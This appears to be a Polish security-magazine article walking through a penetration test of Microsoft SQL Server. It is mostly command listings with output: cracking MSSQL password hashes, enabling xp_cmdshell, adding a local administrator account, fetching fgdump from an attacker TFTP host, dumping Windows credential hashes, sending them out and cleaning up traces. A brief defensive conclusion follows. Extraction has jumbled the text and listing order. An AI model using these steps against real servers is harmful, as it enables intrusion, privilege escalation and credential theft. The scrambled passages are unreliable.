gsg ~ #./sqlbf/bin/sqlbf -d dict.txt -u mssql2000-hashes.txt
Starting Dictionary attack on hashes ...
Press <space> for statistics <q> to Quit
User: grzegorz Pw:password
Time elapsed : 0.0000000 seconds.
Approx. guesses per second : inf
Nazwy użytkowników i haseł utworzonych specjalnie na potrzeby testugsg ~ # cat users.txt
saprobeopenviewovms_adminovdb_userbbsd-clientnetiqpublictestadminsysadmin
gsg ~ # cat passwords.txt
openviewovmsovdbchangene2netiqsasasasasasapublicgrzegorztesttesttestadminsysadminchangenamepasswordpassword!
ATAK
28 HAKIN9 7-8/2009 29 HAKIN9 7-8/2009
TEST PENETRACYJNY MS SQL SERVER
pliku, nie-scrackowany.txt , który jest wykorzystywany jako wkład do ataku Brute Force . Należy pamiętać, że atak siłowy nie będzie wykonywany tak szybko jak słownikowy. Podobnie jak w przypadku wielu innych rodzajów metod Brute Force , ta także może potrwać wiele dni lub tygodni.
Microsoft SQL Server 2005W przypadku Microsof t SQL Server 2005 wartości hasła użytkownika można pobrać za pomocą jednego z następujących zapytań:
- ?Select name, password from
sys.sql_logins
- ?Select name, cast (password as
varbinary(256) )
from sys.syslogins
Po raz kolejny należy użyć narzędzia FreeTDS do stworzenia zapytania dla systemu SQL Server 2005 by uzyskać nazwy użytkowników i hasła, tak jak to pokazano na Listingu 16. SQLPAT i SQLAT nie są zdolne do pracy z hashami serwera SQL Server 2005, dlatego należy je sformatować inaczej i jako narzędzia łamiącego wykorzystamy program Cain&Abel (www.oxid.it/cain.html ) z wykorzystaniem metody słownikowej i Brute Force .
Zdecydowanie zaleca się, aby przed wszystkimi testami przeczytać całą instrukcję obsługi (www.oxid.it/ca_um/ ), co pomaga w zaznajomieniu z jego szeroką funkcjonalnością.
Po uruchomieniu programu Cain&Abel w systemie Windows, należy kliknąć na zakładkę Cracker, wybrać MSSQL Hashes , a następnie ikonę ze znaczkiem plus, aby uruchomić okno Add MSSQL Hashes . Następnie należy wprowadzić pozycje: Salt i Mixcase Hash, tak jak na Rysunku 1.
Teraz, gdy wartości hashy zostały wprowadzone, można wybrać konkretne hashe lub wszystkie. Następnie po wybraniu ich kliknąć prawym przyciskiem myszy i wybrać atak słownikowy lub też metodę Brute Force . W tym przykładzie, wykonany zostanie atak Brute Force.
Wyniki ataku Brute Force są wyświetlane w oknie dialogowym Brute-Force Attack , tak jak na Rysunku 3.
Listing 14. Łamanie hash'y hasła z użyciem metody Brute Force gsg ~ # grep -v '^nexus' mssql2000-hashes.txt > nie-scrackowany.txt
gsg ~ # cat not-cracked.txt
gsg ,0x0100B47BC335BAC32CE87HB47FC723483723443223C772883294E477EB382
gsg ~ # ./sqlbf/bin/sqlbf -c ./sqlbr/default.cm -u not -cracked.txt -r cracked.txtStarting BruteForce attack on hashes ...
Press <space> for statistics <q> to Quit
Listing 15. Zrzut nazwy użytkownika i hash'e hasła z programu Microsoft SQL Server 2005gsg ~ # echo -e "select name, password hash from sys.sql_logins \n go" | \
> tsql -H 10.0.0.213 -p 1433 -U sa -P sasa
1> 2> name password hash
sa 01004086cdb34b456bb3dd33389273dn329100006e9834
gsg 234n349dc34384954bbb2342b282737c3b37283cb23920
gsg ~ #
Listing 16. Uruchomienie programu Sqlanlz i przekierowanie wyjścia do pliku HTMLgsg ~ # sqlanlz
SQLANLZ v1.1.0 by [email protected]
-----------------------------------------------
sqlanlz
-i* <ip|ipfile>
-t port (default 1433) -u username (default sa) -p password
-l logging
-v verbose
gsg ~ # sqlanlz -i 10.0.0.212 -t 1433 -u sa -p "" > sqlanlz-mssql2000.html
gsg ~ # sqlanlz -i 10.0.0.213 -t 1433 -u sa -p grzegorz > sqlanlz-mssql2005.html
Listing 17. Włączenie xp_cmdshell w Microsoft SQL Server 2005
EXEC master..sp_configure 'show advanced options', 1
RECONFIGURE WITH OVERRIDE
EXEC master..sp_configure 'xp_cmdshell', 1
RECONFIGURE WITH OVERRIDE
EXEC master..sp_configure 'show advanced options', 0
SQL Auditing Tools (SQLAT) - SQLExec (sqlquery) - Using "xp_cmdshell" to add a
local administrator account call "nsa".
Add the user "nsa" with the password "Pa$$w0rd!":
Listing 18. Dodanie użytkownika nsa do lokalnej grupy administratorówgsg ~ # sqlquery
SQLExec v1.1.0 by [email protected]
---------------------------------------------
sqluery [options]
-i* <ipaddress>
-t port (default 1433) -q <query> (if ommited execute interactive mode) -u username
-p password
gsg ~ # sqlquery -i 10.0.0.212 -t 1433 -q "exec master..xp_cmdshell 'net user nsa
Pa$$w0rd! /add'"
SQLExec v1.1.0 by [email protected]
-------------------------------------------------------
output
The command completed successfully.
The command completed successfully.
The command completed successfully.
ATAK
28 HAKIN9 7-8/2009 29 HAKIN9 7-8/2009
TEST PENETRACYJNY MS SQL SERVER
Analiza bazy danych Innym doskonałym narzędziem, które jest częścią SQLAT jest sqlanlz . Sqlanlz tworzy on rapor ty w formacie HTML, zawierające analizę baz danych, użytkowników i rozszerzonych procedur przechowywanych w SQL Server (Listing 17).
Uzyskanie dostępu do systemu operacyjnegoGdy możliwe jest posługiwanie się uprawnieniami administratora Microsof t SQL Server 2000 można uzyskać dostęp do lokalnego administratora systemu operacyjnego za pomocą xp _
cmdshell., co pozwala na wydawanie poleceń z SQL Server bezpośrednio do systemu MS Windows za pomocą poleceń T-SQL.
Dla bezpieczeństwa należy zatem pamiętać, by administrator wyłączył
xp _ cmdshell na Microsof t SQL Server 2000, w przypadku Microsof t SQL Server 2005 ta opcja jest domyślnie wyłączona. Poniższy kod przywróci działanie opcji xp _ cmdshell gdy została wyłączona z sp _ dropextendedproc :
sp_addextendedproc 'xp_
cmdshell','xp_
log70.dll'
Dodawanie użytkownika nsa do lokalnej grupy administratorów, jak pokazano na Listingu 18.
Sprawdzenie, czy użytkownik nsa jest członkiem lokalnej grupy administratorów (Listing 19).
W tym przykładzie użyty zostanie demon protokołu TFT w celu przeniesienia plików do i z programu Microsoft SQL Server za pomocą rozszerzonej procedury przechowywanej xp _ cmdshell.
Uruchamianie TFTPD:
gsg ~ # /usr/bin/start-tftpd
SQLAT: SQLExec (Sqlquery), TFTP i
fgdump.exe
Fgdump (www.foofus.net/fizzgig/fgdump/) to zasadniczo narzędzie do dumpingu haseł w systemie Windows NT/2000/XP/2003/Vista. Posiada wszystkie funkcje programu pwdump . Aby zacząć z nim pracę trzeba pobrać program, następnie zdekompresować go, a na końcu skopiować fgdump.exe do katalogu domowego demona t f tpd , jak to pokazano na Listingu 20.
Zmiana katalogu na c:\tools , przy użyciu klienta TFTP Microsof t SQL Server – pierwszym krokiem jest pobieranie fgdump.exe a następnie uruchomienie go, jak pokazano na Listingu 21.
Za pomocą klienta TFTP można pobrać hashe, tak jak to ilustruje Listing 22.
Po pobraniu hash'y systemu Windows, hasła można złamać za pomocą tęczowych tablic .
Tablice można pobrać ze stron www.freerainbowtables.com/ lub http://rainbowtables.shmoo.com/.
PodsumowaniePrzeanalizowaliśmy krok po kroku, jak można dokonać analizy systemu bazodanowego i przeprowadzić skuteczny atak. Informacje zaprezentowane w przykładach posłużyły do zebrania cennych informacji służących do wykrywania luk w naszym systemie.
Włamywacz musi zebrać jak najwięcej informacji o potencjalnej ofierze, aby atak sieciowy na bazę danych powiódł się, Intruzi próbują dowiedzieć się jak najwięcej o zdalnej maszynie i w tym celu skanują jej por ty oraz badają, jaki system operacyjny na niej działa.
Może się nam teraz nasuwać pytanie: jak skutecznie uniemożliwić lub utrudnić włamanie do zarządzanego przez nas systemu? Niestety nie ma na to dobrego i jednoznacznego przepisu. Przede wszystkim należy postępować uważnie przy konfiguracji systemu. Trzeba też podchodzić do tego zagadnienia z
Listing 19 Sprawdzenie, czy użytkownik nsa jest członkiem lokalnej grupy Administratorzygsg ~ # sqlquery
SQLExec v1.1.0 by [email protected]
---------------------------------------------
sqluery [options]
-i* <ipaddress>
-t port (default 1433) -q <query> (if ommited execute interactive mode) -u username
-p password
gsg ~ # sqlquery -i 10.0.0.212 -t 1433 -q "exec master..xp_cmdshell 'net localgroup
administrators'"
SQLExec v1.1.0 by [email protected]
........................................................
output
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Comment Administrators have complete and unrestricted access to the computer/domain
Members
Members
......................................................................................
Administrator
Nsa
The command completed successfully.
The command completed successfully.
The command completed successfully.
Listing 20. Ściąganie, rozpakowywanie i kopiowanie programu fgdump.exegsg ~ # wget -q http://swamp.foofus.net/fizzgig/fgdump/fgdump-1.6.0-exeonly.tar.bz2
gsg ~ # tar jxvf ./fgdump-1.6.0-exeonly.tar.bz2
Release/fgdump.exe
gsg ~ # cp ./Release/fgdump.exe /tmp/
gsg ~ #
ATAK
30 HAKIN9 7-8/2009
pokorą, czyli przede wszystkim nie należy sądzić, że jest się najlepszym na świecie administratorem. Należy wiedzieć bowiem, że zawsze znajdzie się ktoś lepszy i wykorzysta nasze błędy przeciwko nam. Nie można ufać także bezgranicznie konkretnemu rozwiązaniu czy też systemowi. Każdy system ma błędy i to że używamy systemy otwarte nie oznacza że będziemy odporni na ataki.
Niestety nawet ściana ogniowa nie zabezpieczy naszej bazy danych przed atakiem. Wszelkiego rodzaju zabezpieczenia mają utrudnić atak poprzez zablokowanie automatycznych prób włamania, zniechęcenie atakujących i ukrycie słabych punktów systemu. Nie zagwarantują jednak jego bezpieczeństwa. Mogą natomiast wydłużyć czas potrzebny na sforsowanie wszystkich zabezpieczeń. Najważniejszą dla nas informacją powinno być już to, że ktoś interesuje się na poważnie naszym systemem.
Listing 23. Tworzenie katalogu o nazwie c:\tools na Microsoft SQL Servergsg ~ # sqlquery
SQLExec v1.1.0 by [email protected]
---------------------------------------
sqluery [options]
-i* <ipaddress>
-t port (default 1433) -q <query> (if ommited execute
interactive
mode)
-u username
-p password
gsg ~ # sqlquery -i 10.0.0.212 -t
1433 -q "exec
master..xp_
cmdshell "mkdir
c:\tools'" -u sa
-p'"
SQLExec v1.1.0 by [email protected]
---------------------------------------
output
Listing 21. Uruchomienie aplikacji fgdump.exegsg ~ # sqlquery -i 10.0.0.212 -t 1433 -q "exec master..xp_cmdshell 'cd c:\tools &&
tftp -i 10.0.0.120 GET fgdump.exe'" -u sa -p'"
SQLExec v1.1.0 by [email protected]
------------------------------------------------------
output
Transfer successful: 552960 bytes in 1 second 552960 bytes/s
Transfer successful: 552960 bytes in 1 second 552960 bytes/s
gsg ~ # sqlquery -I 10.0.0.212 -t 1433 -q "exec master.xp_cmdshell 'c:\tools\
fgdump.exe'" -u sa -p'"
SQLExec v1.1.0 by [email protected]
------------------------------------------------------
output
fgDump 1.6.0 - fizzgig and the mighty group at foofus.net
Written to make j0m0kun's life just a bit easier
Copyright (c) 2007 fizzgig and foofus.net
Fgdump comes with ABSOLUTELY NO WARRANTY!
This is free software, and you are welcome to redistribute it
Under certain conditions; see the COPYING and README files formore information.
more information.
No parameters specified, doing a local dump. Specify -7 it you are looking for help.Starting dump on 127.0.0.1
Starting dump on 127.0.0.1
**Beginning local dump **
OS (127.0.0.1): Microsoft Windows 2003 Server
Passwords dumped successfully
Cache dumped successfully
Cache dumped successfully
--------Summary-------------
--------Summary-------------
Failed servers:
NONE
NONE
Successful servers:
127.0.0.1
127.0.0.1
Total failed: 0
Total successful: 1
Total successful: 1
Listing 22. Procedura pobierania hashy z wykorzystaniem tftp.gsg ~ # sqlquery -i 10.0.0.212 -t 1433 -q "exec master..xp_cmdshell 'tftp -i
10.0.0.120 PUT c:\tools\127.0.0.1.pwdump'" -u sa -p ""
SQLExec v1.1.0 by [email protected]
------------------------------------------------------
output
Transfer successful: 616 bytes in 1 second 616 bytes/s
Transfer successful: 616 bytes in 1 second 616 bytes/s
gsg ~ # sqlquery -I 10.0.0.212 -t 1433 -q "exec master..xp_cmdshell 'tftp -i
10.0.0.120 PUT c:\tools\127.0.01.cachedump'" -u sa -p ""
SQLEXEC v1.1.0 by [email protected]
---------------------------------------------------------
output
Transfer successful: 216 bytes in 1 second 216 bytes/s
Transfer successful: 216 bytes in 1 second 216 bytes/s'
gsg ~ # sqlquery -I 10.0.0.212 -t 1433 -q "exec master..xp_cmdshell 'rd /s /q c:
\tools'" -u sa -p '"
SQLExec v1.1.0 by [email protected]
------------------------------------------------------
output
Grzegorz GałęzowskiAutor jest informatykiem, członkiem zespołu naukowego do opracowania, przygotowania i wdrożenia w archiwach państwowych Zintegrowanego Systemu Informacji Archiwalnej, który jest pierwszym systemem informatycznym, tworzonym przez administrację rządową w Polsce, opartym w całości na tzw. „otwartym oprogramowaniu”. Autor zajmuje się Linuksem od ponad 12 lat . Hobby informatyczne to systemy IBM z/OS, OS/400, AIX i SAP R/3.Kontakt z autorem: [email protected]